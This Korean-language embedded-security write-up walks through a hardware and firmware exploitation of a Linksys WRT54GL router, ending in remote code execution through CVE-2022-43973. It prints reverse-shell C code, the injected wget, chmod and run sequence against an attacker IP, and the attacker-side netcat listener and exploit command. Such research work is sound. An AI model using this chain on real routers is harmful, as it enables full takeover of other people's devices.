
납땜에서 셸까지: Linksys WRT54GL 라우터의 전체 하드웨어 익스플로잇 (CVE-2022-43973)
JTAG 핀 탐색부터 MIPS 기반 가정용 라우터의 원격 코드 실행까지 — 10단계 임베디드 보안 연구 여정.
| 저자 | Umberto Della Monica |
| 역할 | MSc 사이버보안 학생 — 임베디드 보안 연구원 |
| 날짜 | 2026년 5월 |
| 저장소 | Linksys-WRT54GL-Exploitation |
고지 사항: 본 연구는 제가 개인적으로 소유한 하드웨어에서 교육 및 연구 목적으로만 수행되었습니다. 허가되지 않은 시스템에는 접근하지 않았습니다. 여기에 설명된 모든 기법은 본인이 소유하거나 명시적인 서면 승인을 받은 기기에만 재현해야 합니다. 저자는 제시된 정보의 오용에 대해 어떠한 책임도 지지 않습니다. 항상 적용 가능한 법률, 규정 및 책임 있는 공개 관행을 준수하십시오.
Linksys WRT54GL은 지금까지 생산된 소비자용 라우터 중 가장 상징적인 제품 중 하나입니다. 오픈소스 펌웨어 지원 덕분에 매니아와 연구자 모두에게 사랑받았습니다. 오래된 기기임에도 불구하고 전 세계에서 여전히 활발히 사용되고 있어 임베디드 보안 연구의 유의미한 대상이 되고 있습니다.
모든 하드웨어 보안 평가의 첫 단계는 물리적 검사입니다. 기기 케이스를 연 후 PCB에서 두 개의 디버그 인터페이스를 식별했습니다.
JTAG 헤더가 미실장 상태였기 때문에 디버그 인터페이스에 접근하기 위해 임시 핀 헤더를 납땜했습니다. 멀티미터를 사용하여 접지(GND)와 Vcc 라인을 식별하고 대상 기기가 3.3V 로직 레벨로 동작함을 확인했습니다 — 이는 칩셋 손상을 방지하는 데 중요합니다.
JTAG 신호를 매핑하기 위해 Grand Idea Studio의 JTAGulator를 사용했습니다 — 가능한 모든 핀 조합을 프로빙하여 디버그 인터페이스를 자동으로 식별하도록 설계된 하드웨어 도구입니다.
JTAGulator는 다음과 같은 JTAG 핀아웃을 성공적으로 식별했습니다.
board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
TCK: PA3
TMS: PA4
TDI: PA1
TDO: PA2
TRST: NC
SRST: PB0
notes: "Header JP3 — verified 3.3V logic."
JTAG 핀을 식별한 후 FTDI FT2232H 칩을 탑재한 오픈소스 하드웨어 보안 평가 도구(GNU GPL v3.0)인 Attify Badge를 라우터의 JTAG 헤더에 연결했습니다.
공식 구성이 이 특정 하드웨어 리비전과 호환되지 않았기 때문에 BCM5352 대상에 맞게 조정된 사용자 정의 구성으로 OpenOCD(Open On-Chip Debugger)를 실행했습니다.
사용자 정의 OpenOCD 구성은 라우터의 플래시 파티션 레이아웃을 정의합니다.
CPU를 중지(halt)시킨 후 메모리 매핑된 NOR 플래시 전체 4 MB를 덤프했습니다.
> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000
binwalk을 사용하여 펌웨어 덤프를 분석하고 내장된 파일시스템, 압축 세그먼트 및 커널 이미지를 식별했습니다:
binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin # entropy analysis
sha256sum ./dumps/wrt54gl.bin # integrity verification
분석 결과 표준 BusyBox 기반 Linux 환경을 포함하는 SquashFS 루트 파일시스템이 확인되었습니다. 더 깊은 검사를 위해 binwalk -e와 unsquashfs를 사용하여 추출했습니다.
안전한 테스트 환경을 만들기 위해 MIPS 아키텍처를 지원하는 자동화된 펌웨어 에뮬레이션 프레임워크인 FirmAE를 사용하여 펌웨어 에뮬레이션을 설정했습니다. 이를 통해 가상 환경에서 라우터의 서비스(HTTP, telnet)를 재현하고 물리적 기기에 위험을 주지 않고 익스플로잇을 테스트할 수 있었습니다.
MIPS 디컴파일러 플러그인이 포함된 Ghidra(NSA의 리버스 엔지니어링 프레임워크)를 사용하여 추출된 펌웨어 바이너리에 대한 정적 분석을 수행하고 CVE-2022-43973의 존재를 확인했습니다.
이 취약점은 라우터의 CGI 요청 처리기에 존재합니다. /apply.cgi 엔드포인트의 ui_language 양식 필드는 삭제(sanitization) 없이 임의의 입력을 허용합니다. ;cmd; 구문으로 감싼 셸 명령을 주입함으로써 공격자는 명령을 스테이징한 후 /upgrade.cgi를 통해 펌웨어 업그레이드가 트리거될 때 실행되게 할 수 있습니다.
영향을 받는 펌웨어 버전:
라우터의 MIPS 아키텍처에 맞게 제작된 맞춤형 리버스 셸을 C로 개발했습니다. 이 페이로드는 공격자에게 역방향 TCP 연결을 설정하고 모든 표준 파일 디스크립터를 소켓으로 리다이렉트한 후 대화형 셸을 실행합니다:
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);
connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));
dup2(sockt, 0); // redirect stdin
dup2(sockt, 1); // redirect stdout
dup2(sockt, 2); // redirect stderr
execve("/bin/sh", sh_argv, NULL);
대상 아키텍처용 페이로드를 컴파일하기 위해 공식 Linksys GPL 릴리스(WRT54GL-ETSI_v4.30.18.006)에서 제공된 Broadcom MIPS 크로스 컴파일 툴체인(hndtools-mipsel-linux-3.2.3)을 포함하는 재현 가능한 Docker 환경을 구축했습니다:
docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest
# Inside container:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c
결과 바이너리는 이식성을 위해 정적으로 링크됩니다 — 대상 기기에 공유 라이브러리 의존성이 없습니다.
CVE-2022-43973을 활용하여 전체 공격 체인을 자동화하는 Python 익스플로잇 프레임워크를 개발했습니다. 이 익스플로잇은 ui_language 파라미터를 통해 각각 명령으로 주입되는 4단계 시퀀스를 실행합니다:
/tmp/X로 다운로드하는 wget 명령 주입chmod +x /tmp/X 주입/tmp/X <attacker_ip> <port> 주입ui_language을 기본값(en)으로 재설정각 명령은 ui_language 필드에 ;cmd;로 감싸 POST /apply.cgi를 통해 전송됩니다. 이후 POST /upgrade.cgi가 실행을 트리거합니다.
공격자 머신에는 세 개의 터미널이 필요합니다:
# Terminal 1: Serve the reverse shell binary
python -m http.server 8000
# Terminal 2: Listen for the incoming reverse shell
nc -lvnp 4141
# Terminal 3: Launch the exploit
python exploit.py --host 192.168.1.1 --username admin --password admin \
--attacker-host 192.168.1.2 --attacker-http-port 8000 \
--attacker-handler-port 4141
리버스 셸은 공격자의 Netcat 리스너로 역방향 연결을 설정하여 라우터에서 대화형 루트 셸을 제공합니다.
전체 익스플로잇 체인을 검증하기 위해 공격 중 Wireshark로 네트워크 트래픽을 캡처했습니다. 분석 결과 다음을 확인했습니다:
/apply.cgi 및 /upgrade.cgi에 대한 올바른 HTTP POST 주입 시퀀스wget을 통한 페이로드 다운로드 성공물리적 접근은 강력한 공격 벡터입니다. JTAG은 모든 소프트웨어 보안 메커니즘을 우회하는 루트 수준의 하드웨어 접근을 제공합니다. 임베디드 기기를 배포하는 조직은 물리적 보안 통제와 프로덕션 펌웨어에서 디버그 인터페이스 비활성화를 고려해야 합니다.
펌웨어 추출은 기본입니다. 펌웨어를 덤프하고 분석하면 하드코딩된 자격 증명, 구성 데이터, 네트워크 관점에서는 보이지 않는 취약한 코드 경로를 포함한 전체 소프트웨어 스택이 드러납니다.
에뮬레이션은 안전하고 반복 가능한 연구를 가능하게 합니다. FirmAE와 같은 도구를 통해 연구자는 가상 환경에서 기기 동작을 재현할 수 있으며, 물리적 하드웨어를 위험에 빠뜨리거나 의도하지 않은 결과를 유발하지 않고 반복적인 테스트가 가능합니다.
단순한 입력 검증 실패가 치명적인 영향을 미칩니다. CVE-2022-43973은 웹 인터페이스의 단일 비검증 양식 필드가 루트 수준 접근 권한을 가진 전체 기기 탈취로 이어질 수 있음을 보여줍니다. 입력 검증, 최소 권한, 안전한 코딩 관행을 포함한 심층 방어가 여전히 필수적입니다.
재현 가능한 툴체인이 중요합니다. Docker 기반 크로스 컴파일 환경은 페이로드와 도구를 안정적으로 재빌드할 수 있게 보장하여 연구 결과를 검증 가능하고 공유 가능하게 만듭니다.
레거시 기기는 지속적인 위험입니다. WRT54GL은 전 세계적으로 여전히 활발히 사용되고 있습니다. 더 이상 보안 업데이트를 받지 못하는 수명 종료(EOL) 기기는 네트워크 보안에 지속적인 위협이 됩니다.
심층적인 기술 세부 사항은 다음 문서를 참조하십시오:
| 문서 | 설명 |
|---|---|
| Hardware Inventory | 기기 사양, 핀아웃, 데이터시트 및 하드웨어 도구 |
| Software Stack |
이 프로젝트는 MIT 라이선스에 따라 배포됩니다 — 자세한 내용은 LICENSE 파일을 참조하십시오.
Attify 또는 JTAGulator 회로도를 복제하는 경우 각각의 라이선스(Attify 구성 요소는 GNU GPL v3.0)를 따르십시오.
Umberto Della Monica
LinkedIn
#EmbeddedSecurity #HardwareSecurity #IoTSecurity #Pentesting #FirmwareAnalysis #JTAG #CVE #ReverseEngineering #CyberSecurity #InfoSec
| 사양 | 값 |
|---|
| 칩셋 | Broadcom BCM5352 |
| CPU 클록 | 200 MHz |
| 아키텍처 | MIPS 32비트(리틀 엔디안) |
| 플래시 메모리 | 4 MB NOR(0xbfc00000에 메모리 매핑됨) |
| RAM | 16 MB |
| 무선 | IEEE 802.11b/g, 54 Mbps |
| 네트워크 | 4x LAN + 1x WAN, SPI 지원 NAT 방화벽 |
| OS | Linux 기반(BusyBox) |
| 부트로더 | CFE(Common Firmware Environment) |
| 파티션 | 설명 | 시작 주소 | 크기 |
|---|
| CFE | 부트로더 | 0xbfc00000 | 256 KB |
| 펌웨어 | 커널 + 루트 파일시스템 | 0xbfc40000 | ~3.7 MB |
| NVRAM | 구성 | 0xbfff0000 | 64 KB |
| 필드 | 값 |
|---|
| CVE ID | CVE-2022-43973 |
| 유형 | 원격 코드 실행(RCE) |
| 공격 벡터 | 인증된 HTTP 요청 |
| 근본 원인 | 검증되지 않은 ui_language 파라미터를 통한 명령 주입 |
| 엔드포인트 | POST /apply.cgi |
| 트리거 | POST /upgrade.cgi(펌웨어 업그레이드) |
| 영향 | 전체 루트 수준 명령 실행 |
| 분류 | 도구 | 용도 | 참조 |
|---|
| 하드웨어 | Attify Badge | JTAG/UART 인터페이스 어댑터 | docs.attify.com (GNU GPL v3.0) |
| 하드웨어 | JTAGulator | 자동 디버그 핀 탐색 | Grand Idea Studio |
| 소프트웨어 | OpenOCD | JTAG 디버깅 및 플래시 접근 | openocd.org |
| 소프트웨어 | Ghidra | 정적 분석 및 디컴파일 | ghidra-sre.org (NSA) |
| 소프트웨어 | binwalk | 펌웨어 분석 및 추출 | ReFirmLabs |
| 소프트웨어 | FirmAE | 펌웨어 에뮬레이션(MIPS) | GitHub |
| 소프트웨어 | Firmadyne | 펌웨어 동적 분석 | GitHub |
| 소프트웨어 | Docker | 재현 가능한 빌드 환경 | docker.com |
| 툴체인 | hndtools-mipsel-linux | Broadcom MIPS 크로스 컴파일러 | Linksys GPL 릴리스 |
| 소프트웨어 | Python 3 | 익스플로잇 자동화 프레임워크 | python.org |
| 소프트웨어 | Wireshark | 네트워크 트래픽 분석 | wireshark.org |
| 표준 | IEEE 1149.1 | JTAG 경계 스캔 표준 | IEEE |
| Docker 설정, OpenOCD 구성, 툴체인 세부 사항 및 문제 해결 |
| Exploitation Procedure | 명령과 스크린샷이 포함된 단계별 10단계 워크플로우 |